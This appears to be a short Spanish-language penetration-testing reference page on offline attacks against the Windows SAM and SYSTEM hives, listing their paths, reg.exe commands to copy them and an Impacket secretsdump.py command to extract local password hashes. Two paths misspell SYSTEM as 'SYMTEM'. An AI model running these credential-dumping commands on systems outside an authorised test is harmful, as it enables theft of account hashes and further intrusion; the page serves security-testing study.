> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/explotacion/ataques-de-contrasenas/fuera-de-linea-offline/archivo-sam-y-system.md).

# Archivo SAM y SYSTEM

## Impacket

### Archivos y registro de Windows

```shell
# Archivos 
C:\Windows\System32\Config\SAM
C:\Windows\System32\Config\SYMTEM

# Registro de Windows
HKEY_LOCAL_MACHINE\SAM
HKEY_LOCAL_MACHINE\SYMTEM
```

### Copia de registros de Windows

```shell
reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SYSTEM system.bak
```

### secretsdump.py

```shell
secretsdump.py -sam sam.bak -system system.bak LOCAL
```

* uid:rid:lmhash:nthash
